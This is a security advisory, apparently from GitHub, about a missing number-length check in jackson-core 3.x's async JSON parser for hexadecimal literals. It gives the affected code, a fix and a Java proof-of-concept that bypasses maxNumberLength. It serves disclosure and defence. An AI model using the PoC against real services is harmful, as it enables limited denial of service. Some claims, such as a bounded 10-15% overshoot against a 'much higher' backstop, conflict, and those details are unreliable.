Summary The fix for GHSA-72hv-8253-57qq added validateIntegerLength() calls at chunk-boundary yield points in the async parser's integer, fraction, and exponent states, but missed the _finishHexDigits() state. When JsonReadFeature.ALLOW_HEXADECIMAL_NUMBERS is enabled and a hex literal spans multiple input chunks, the hex-digit accumulator is not validated on yield, allowing ~10-15% overshoot of maxNumberLength before the backstop check fires. Affected: jackson-core 3.x only (3.0.0-rc1 through latest 3.x RC). 2.x is not affected (hex feature not present in async path). ### Details ## Background GHSA-72hv-8253-57qq fixed unbounded integer accumulation in the jackson-core 3.x async NonBlockingUtf8JsonParserBase by adding validateIntegerLength() calls at the chunk-boundary yield points in three states: integer digits (_finishNumberIntegralPart), fraction digits (_finishNumberFractionalPart), and exponent digits (_finishNumberExponent). ## Gap The fix omitted the _finishHexDigits() state, which handles hexadecimal integer literals when JsonReadFeature.ALLOW_HEXADECIMAL_NUMBERS is enabled. This feature is non-default but is used in environments that process JavaScript-style JSON with hex integers. ## Affected Code In NonBlockingUtf8JsonParserBase.java, _finishHexDigits() at the chunk-boundary yield (approximately lines 1957-1961): "java if (!feeder.isNeedingInput()) { // YIELD: input chunk exhausted // outPtr now holds digit count accumulated so far // MISSING: _streamReadConstraints.validateIntegerLength(outPtr - prefixLen) return; } " Compare to the patched integer state (which correctly has the check): "java if (!feeder.isNeedingInput()) { _streamReadConstraints.validateIntegerLength(outPtr) // <- present in sibling states return; } " ## Severity Constraints - Requires JsonReadFeature.ALLOW_HEXADECIMAL_NUMBERS (non-default) - Requires async/non-blocking parser (not the common synchronous path) - Overshoot is bounded ~10-15% (not unlimited) before maxStringLength backstop fires - Therefore Low severity (CVSS 3.1: 3.7 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) ## Fix Add validateIntegerLength() at the yield point in _finishHexDigits(): "java if (!feeder.isNeedingInput()) { _streamReadConstraints.validateIntegerLength(outPtr - prefixLen); return; } " ### Proof of concept Requires jackson-core 3.x with ALLOW_HEXADECIMAL_NUMBERS and a non-blocking (async) parser: "java import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.core.async.ByteArrayFeeder; public class SnailPoc { public static void main(String[] args) throws Exception { int maxLen = 100; // maxNumberLength = 100 digits JsonFactory factory = JsonFactory.builder() .enable(JsonReadFeature.ALLOW_HEXADECIMAL_NUMBERS) .streamReadConstraints(StreamReadConstraints.builder() .maxNumberLength(maxLen) .build()) .build(); JsonParser parser = factory.createNonBlockingByteArrayParser(); ByteArrayFeeder feeder = (ByteArrayFeeder) parser.getNonBlockingInputFeeder(); // Hex literal: 0x + 115 hex digits (exceeds maxNumberLength=100) String hexNum = "0x" + "A".repeat(115); byte[] chunk1 = ("[" + hexNum.substring(0, 60)).getBytes(); // first chunk cuts mid-hex byte[] chunk2 = (hexNum.substring(60) + "]").getBytes(); // remainder feeder.feedInput(chunk1, 0, chunk1.length); // Parser yields mid-hex; validateIntegerLength() NOT called here in _finishHexDigits() feeder.feedInput(chunk2, 0, chunk2.length); feeder.endOfInput(); // Read tokens -- should throw but doesn't until backstop JsonToken t; while ((t = parser.nextToken()) != null) { System.out.println("Token: " + t); if (t == JsonToken.VALUE_NUMBER_INT) { System.out.println("Value digits: " + parser.getText().length()); // Prints 115 -- exceeds maxNumberLength=100 without throwing } } // Expected: StreamConstraintsException at chunk boundary yield // Actual: no exception until maxStringLength backstop (much higher) } } " ### Impact Limited denial-of-service: an attacker can send hex-encoded integers that slightly exceed maxNumberLength without triggering the configured limit at chunk-boundary yield, bypassing the intended memory cap for async/non-blocking parsing. Impact is constrained by: (1) non-default feature flag requirement, (2) async parser usage only, (3) bounded ~10-15% overshoot before maxStringLength backstop fires. CVSS 3.1: 3.7 Low (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L). This is a sibling path of GHSA-72hv-8253-57qq — that fix patched integer/fraction/exponent yield points but missed hex digits, which was added to the async parser alongside the hex feature in 3.x.